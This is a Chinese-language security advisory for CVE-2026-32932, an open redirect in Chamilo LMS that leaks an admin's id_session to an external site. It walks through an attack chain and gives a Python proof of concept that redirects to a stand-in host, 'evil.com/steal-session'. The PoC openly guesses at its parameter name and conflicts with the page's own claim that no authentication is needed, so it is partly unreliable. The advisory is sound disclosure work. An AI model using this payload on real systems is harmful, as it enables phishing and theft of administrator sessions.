IPBUF安全漏洞报告
English
CVE-2026-32932 CVSS 4.7 中危

CVE-2026-32932 Chamilo LMS开放重定向漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32932
漏洞类型
开放重定向
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Chamilo LMS

相关标签

Open RedirectChamilo LMSInformation DisclosureCWE-601

漏洞概述

Chamilo LMS是一个开源学习管理系统。在1.11.38及2.0.0-RC.3版本之前,其会话课程编辑页面存在开放重定向漏洞。当管理员保存教练分配更改时,攻击者可利用该漏洞将管理员重定向至任意外部URL。同时,重定向请求会泄露`id_session`参数至攻击者服务器。该漏洞可被用于钓鱼攻击或会话劫持,官方已在后续版本中修复此问题。

技术细节

该漏洞源于Chamilo LMS在处理会话课程编辑页面的表单提交时,未对重定向目标参数进行严格的白名单验证。根据CVSS向量分析,攻击无需认证(PR:N),但需要用户交互(UI:R),这意味着攻击者需诱导管理员执行特定操作。在受影响版本中,当管理员保存教练分配更改时,应用程序会直接使用用户可控的参数进行重定向。攻击者可构造包含恶意URL的链接(如`redirect=http://evil.com`)。当管理员触发操作后,浏览器会跳转至攻击者指定的站点。关键风险在于,重定向请求中包含了`id_session`参数,攻击者可通过服务器日志捕获该敏感信息。若该参数可用于会话恢复,将导致管理员权限被劫持。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是存在漏洞的Chamilo LMS版本(1.11.38之前或2.0.0-RC.3之前)。
STEP 2
构造链接
攻击者构造一个包含恶意重定向参数的特制URL,指向其控制的服务器,并诱导管理员点击。
STEP 3
社会工程学
攻击者通过电子邮件或其他通讯手段,将链接发送给系统管理员,诱骗其点击并在页面执行保存操作。
STEP 4
漏洞利用
管理员访问链接并完成操作后,应用程序将管理员浏览器重定向至攻击者的服务器,并在URL中附带`id_session`。
STEP 5
信息窃取
攻击者通过服务器日志获取泄露的`id_session`参数,利用该信息尝试劫持管理员会话。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-32932: Open Redirect in Chamilo LMS # This script demonstrates the vulnerability by triggering a redirect to an external site. target_url = "http://target-chamilo-instance.com/main/session/session_course_edit.php" attacker_site = "http://evil.com/steal-session" # Payload simulating the save coach assignment action with a malicious redirect parameter # The parameter name might vary (e.g., 'redirect_url', 'return_path') based on implementation payload = { "id_session": "12345", # Valid session ID required for the action "action": "save_coach", "redirect_url": attacker_site } try: # Sending the request as an authenticated administrator (cookie required in real scenario) response = requests.post(target_url, data=payload, allow_redirects=False) if response.status_code in [301, 302, 303]: location = response.headers.get('Location') print(f"[+] Redirect triggered!") print(f"[+] Location: {location}") if attacker_site in location: print("[+] Vulnerability Confirmed: Redirecting to external attacker domain.") else: print("[-] Redirect did not go to the expected external domain.") else: print(f"[-] No redirect triggered. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议用户立即升级至官方提供的修复版本。如果暂时无法升级,应限制管理员账户的来源IP访问,并对管理员进行安全意识培训,不要轻易点击来源不明的链接或执行可疑操作。开发人员可在Web应用防火墙(WAF)层添加规则,拦截包含外部域名的重定向请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表